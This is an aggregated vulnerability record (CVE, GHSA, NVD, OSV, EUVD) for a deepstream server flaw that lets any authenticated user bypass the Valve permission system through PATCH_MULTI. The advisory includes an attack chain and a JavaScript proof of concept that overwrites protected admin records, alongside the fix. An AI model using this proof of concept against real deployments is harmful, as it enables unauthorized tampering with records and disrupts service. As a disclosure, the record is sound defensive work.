{"id":"CVE-2026-63116","aliases":["EUVD-2026-84001","GHSA-89vx-jh4q-vg3w"],"status":"published","title":"deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes","description":"deepstream is a server that allows clients and backend services to sync data, send messages and make rpcs at scale. From 10.1.0 until 10.1.1, src/services/permission/valve/rules-map.ts omits RECORD_ACTION.PATCH_MULTI from RULES_MAP. When an authenticated user sends a PATCH_MULTI record operation while permission.type is config, getRulesForMessage returns a null rule specification and ConfigPermission.canPerformAction treats the missing specification as an unconditional allow instead of applying RULE_TYPES.WRITE. Any authenticated user can therefore modify arbitrary protected records, corrupt application state, or cause service disruption; deployments using the default permission type none already allow all operations and are not additionally affected. This issue is fixed in version 10.1.1.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00506,"percentile":0.43561,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-862"],"published":"2026-09-21T16:59:22Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"npm","package":"@deepstream/server","fixed_in":["10.1.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@deepstream/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.1.0"},{"last_affected":"10.1.0"},{"fixed":"10.1.1"}]}],"versions":["10.1.0"]},{"source":"osv","ecosystem":"npm","package":"@deepstream/server","ranges":[{"type":"SEMVER","events":[{"introduced":"10.1.0"},{"fixed":"10.1.1"}]}],"versions":["10.1.0"]}],"products":[{"vendor":"deepstreamio","product":"deepstream.io"}],"references":[{"url":"https://github.com/deepstreamIO/deepstream.io/security/advisories/GHSA-89vx-jh4q-vg3w","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/deepstreamIO/deepstream.io/commit/1c2adde6581c53ef47e204364bc740bc3c2e2e2a","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/deepstreamIO/deepstream.io/releases/tag/v10.1.1","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63116","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-89vx-jh4q-vg3w"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63116.json","tags":["advisory"]},{"url":"https://github.com/deepstreamIO/deepstream.io","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-63116","title":"deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes","description":"deepstream is a server that allows clients and backend services to sync data, send messages and make rpcs at scale. From 10.1.0 until 10.1.1, src/services/permission/valve/rules-map.ts omits RECORD_ACTION.PATCH_MULTI from RULES_MAP. When an authenticated user sends a PATCH_MULTI record operation while permission.type is config, getRulesForMessage returns a null rule specification and ConfigPermission.canPerformAction treats the missing specification as an unconditional allow instead of applying RULE_TYPES.WRITE. Any authenticated user can therefore modify arbitrary protected records, corrupt application state, or cause service disruption; deployments using the default permission type none already allow all operations and are not additionally affected. This issue is fixed in version 10.1.1.","status":"published","published":"2026-09-21T16:59:22.958Z","modified":"2026-09-21T17:59:34.586Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:19:55.914391Z"}],"euvd":[{"id":"EUVD-2026-84001","description":"deepstream is a server that allows clients and backend services to sync data, send messages and make rpcs at scale. From 10.1.0 until 10.1.1, src/services/permission/valve/rules-map.ts omits RECORD_ACTION.PATCH_MULTI from RULES_MAP. When an authenticated user sends a PATCH_MULTI record operation while permission.type is config, getRulesForMessage returns a null rule specification and ConfigPermission.canPerformAction treats the missing specification as an unconditional allow instead of applying RULE_TYPES.WRITE. Any authenticated user can therefore modify arbitrary protected records, corrupt application state, or cause service disruption; deployments using the default permission type none already allow all operations and are not additionally affected. This issue is fixed in version 10.1.1.","status":"published","published":"2026-09-21T16:59:22Z","modified":"2026-09-21T17:59:34Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:05.032636Z"}],"ghsa":[{"id":"GHSA-89vx-jh4q-vg3w","title":"deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes","description":"## Summary\n\nThe `RECORD_ACTION.PATCH_MULTI` action is not registered in the Valve permission system's `RULES_MAP` (`src/services/permission/valve/rules-map.ts`). When `ConfigPermission.canPerformAction()` is called for a PATCH_MULTI message, `getRulesForMessage()` returns `null` because the action is missing from the map. This triggers an unconditional allow (`callback(..., null, true)`), completely bypassing all configured Valve permission rules.\n\nAny authenticated user — regardless of their configured permissions — can write arbitrary data to any record using the PATCH_MULTI action.\n\n## Root Cause\n\nIn `src/services/permission/valve/rules-map.ts` lines 38-54, the `RULES_MAP[TOPIC.RECORD].actions` dictionary maps record actions to permission rule types. The actions registered include: SUBSCRIBE, SUBSCRIBEANDHEAD, SUBSCRIBEANDREAD, READ, HEAD, LISTEN, CREATE, UPDATE, PATCH, NOTIFY, DELETE, ERASE. However, `RECORD_ACTION.PATCH_MULTI` is **absent** from this map.\n\nWhen `getRulesForMessage()` at line 86-99 encounters an action not in the map, it returns `null`. In `config-permission.ts` at line 88-93, when `ruleSpecification === null`, the callback is invoked with `true` (allow) unconditionally.\n\n## Attack Chain\n\n1. Attacker authenticates with any valid credentials (even a minimal-privilege user)\n2. Attacker sends a WebSocket message: `{topic: RECORD, action: PATCH_MULTI, name: \"admin/secret-record\", parsedData: [{path: \"role\", data: \"admin\"}]}`\n3. `message-processor.ts:68` invokes permission check\n4. `config-permission.ts:89` → `getRulesForMessage()` returns `null` for PATCH_MULTI\n5. `config-permission.ts:92` → unconditional ALLOW\n6. Record transition applies the operations — arbitrary record is modified\n\n## Impact\n\n- **Complete Valve permission bypass for record writes** — all configured permission rules are irrelevant\n- Any authenticated user can overwrite any record, including admin-only records\n- Mass record overwrites can destroy application state, corrupt sessions, cause service outage\n- Only exploitable when `permission.type` is set to `config` (Valve) — the recommended production configuration per deepstream documentation\n- Default permission type `none` (OpenPermission) allows everything already, so default deployments are unaffected\n\n\u003cdetails\u003e\u003csummary\u003eProof of Concept\u003c/summary\u003e\n\n```javascript\n// Connect as a minimal-privilege user\nconst { DeepstreamClient } = require('@deepstream/client');\nconst client = new DeepstreamClient('localhost:6020');\nawait client.login({ username: 'restricted-user', password: 'password' });\n\n// This should be blocked by Valve permissions but isn't:\n// Send raw PATCH_MULTI message to bypass all permission rules\nconst connection = client.getConnection();\nconnection.sendMessage({\n  topic: 0x52, // TOPIC.RECORD\n  action: 0x50, // RECORD_ACTION.PATCH_MULTI (check actual enum value)\n  name: 'admin/protected-record',\n  parsedData: [\n    { path: 'permissions', data: 'admin' },\n    { path: 'secret', data: 'overwritten' }\n  ]\n});\n```\n\u003c/details\u003e\n\n## Suggested Fix\n\nAdd `PATCH_MULTI` to the RULES_MAP in `src/services/permission/valve/rules-map.ts`:\n\n```typescript\n[RECORD_ACTION.PATCH_MULTI]: RULE_TYPES.WRITE,\n```\n\nThis maps PATCH_MULTI operations to the same WRITE permission rule that governs UPDATE and PATCH.\n\n## Affected Versions\n\nAll versions that include PATCH_MULTI support with the Valve (ConfigPermission) permission system. The PATCH_MULTI action was added in commit `82ffa8119d8f4a8242ac5c3507469a22de746b65` but was never registered in RULES_MAP.\n\n## Credit\n\nVulnerability discovered by Zhixi \"Jace\" Sun of ASM/VI at TikTok.","status":"published","published":"2026-09-22T19:56:34Z","modified":"2026-09-22T19:56:34Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:41:19.455935Z"}],"nvd":[{"id":"CVE-2026-63116","description":"deepstream is a server that allows clients and backend services to sync data, send messages and make rpcs at scale. From 10.1.0 until 10.1.1, src/services/permission/valve/rules-map.ts omits RECORD_ACTION.PATCH_MULTI from RULES_MAP. When an authenticated user sends a PATCH_MULTI record operation while permission.type is config, getRulesForMessage returns a null rule specification and ConfigPermission.canPerformAction treats the missing specification as an unconditional allow instead of applying RULE_TYPES.WRITE. Any authenticated user can therefore modify arbitrary protected records, corrupt application state, or cause service disruption; deployments using the default permission type none already allow all operations and are not additionally affected. This issue is fixed in version 10.1.1.","status":"published","published":"2026-09-21T17:17:38.51Z","modified":"2026-09-24T21:25:27.05Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:50.368368Z"}],"osv":[{"id":"CVE-2026-63116","title":"deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes","description":"deepstream is a server that allows clients and backend services to sync data, send messages and make rpcs at scale. From 10.1.0 until 10.1.1, src/services/permission/valve/rules-map.ts omits RECORD_ACTION.PATCH_MULTI from RULES_MAP. When an authenticated user sends a PATCH_MULTI record operation while permission.type is config, getRulesForMessage returns a null rule specification and ConfigPermission.canPerformAction treats the missing specification as an unconditional allow instead of applying RULE_TYPES.WRITE. Any authenticated user can therefore modify arbitrary protected records, corrupt application state, or cause service disruption; deployments using the default permission type none already allow all operations and are not additionally affected. This issue is fixed in version 10.1.1.","status":"published","published":"2026-09-21T16:59:22.958Z","modified":"2026-10-28T02:30:23.190832197Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:45:13.306117Z"},{"id":"GHSA-89vx-jh4q-vg3w","title":"deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes","description":"## Summary\n\nThe `RECORD_ACTION.PATCH_MULTI` action is not registered in the Valve permission system's `RULES_MAP` (`src/services/permission/valve/rules-map.ts`). When `ConfigPermission.canPerformAction()` is called for a PATCH_MULTI message, `getRulesForMessage()` returns `null` because the action is missing from the map. This triggers an unconditional allow (`callback(..., null, true)`), completely bypassing all configured Valve permission rules.\n\nAny authenticated user — regardless of their configured permissions — can write arbitrary data to any record using the PATCH_MULTI action.\n\n## Root Cause\n\nIn `src/services/permission/valve/rules-map.ts` lines 38-54, the `RULES_MAP[TOPIC.RECORD].actions` dictionary maps record actions to permission rule types. The actions registered include: SUBSCRIBE, SUBSCRIBEANDHEAD, SUBSCRIBEANDREAD, READ, HEAD, LISTEN, CREATE, UPDATE, PATCH, NOTIFY, DELETE, ERASE. However, `RECORD_ACTION.PATCH_MULTI` is **absent** from this map.\n\nWhen `getRulesForMessage()` at line 86-99 encounters an action not in the map, it returns `null`. In `config-permission.ts` at line 88-93, when `ruleSpecification === null`, the callback is invoked with `true` (allow) unconditionally.\n\n## Attack Chain\n\n1. Attacker authenticates with any valid credentials (even a minimal-privilege user)\n2. Attacker sends a WebSocket message: `{topic: RECORD, action: PATCH_MULTI, name: \"admin/secret-record\", parsedData: [{path: \"role\", data: \"admin\"}]}`\n3. `message-processor.ts:68` invokes permission check\n4. `config-permission.ts:89` → `getRulesForMessage()` returns `null` for PATCH_MULTI\n5. `config-permission.ts:92` → unconditional ALLOW\n6. Record transition applies the operations — arbitrary record is modified\n\n## Impact\n\n- **Complete Valve permission bypass for record writes** — all configured permission rules are irrelevant\n- Any authenticated user can overwrite any record, including admin-only records\n- Mass record overwrites can destroy application state, corrupt sessions, cause service outage\n- Only exploitable when `permission.type` is set to `config` (Valve) — the recommended production configuration per deepstream documentation\n- Default permission type `none` (OpenPermission) allows everything already, so default deployments are unaffected\n\n\u003cdetails\u003e\u003csummary\u003eProof of Concept\u003c/summary\u003e\n\n```javascript\n// Connect as a minimal-privilege user\nconst { DeepstreamClient } = require('@deepstream/client');\nconst client = new DeepstreamClient('localhost:6020');\nawait client.login({ username: 'restricted-user', password: 'password' });\n\n// This should be blocked by Valve permissions but isn't:\n// Send raw PATCH_MULTI message to bypass all permission rules\nconst connection = client.getConnection();\nconnection.sendMessage({\n  topic: 0x52, // TOPIC.RECORD\n  action: 0x50, // RECORD_ACTION.PATCH_MULTI (check actual enum value)\n  name: 'admin/protected-record',\n  parsedData: [\n    { path: 'permissions', data: 'admin' },\n    { path: 'secret', data: 'overwritten' }\n  ]\n});\n```\n\u003c/details\u003e\n\n## Suggested Fix\n\nAdd `PATCH_MULTI` to the RULES_MAP in `src/services/permission/valve/rules-map.ts`:\n\n```typescript\n[RECORD_ACTION.PATCH_MULTI]: RULE_TYPES.WRITE,\n```\n\nThis maps PATCH_MULTI operations to the same WRITE permission rule that governs UPDATE and PATCH.\n\n## Affected Versions\n\nAll versions that include PATCH_MULTI support with the Valve (ConfigPermission) permission system. The PATCH_MULTI action was added in commit `82ffa8119d8f4a8242ac5c3507469a22de746b65` but was never registered in RULES_MAP.\n\n## Credit\n\nVulnerability discovered by Zhixi \"Jace\" Sun of ASM/VI at TikTok.","status":"published","published":"2026-09-22T19:56:34Z","modified":"2026-09-22T20:15:05.103023001Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:42.077781Z"}]}}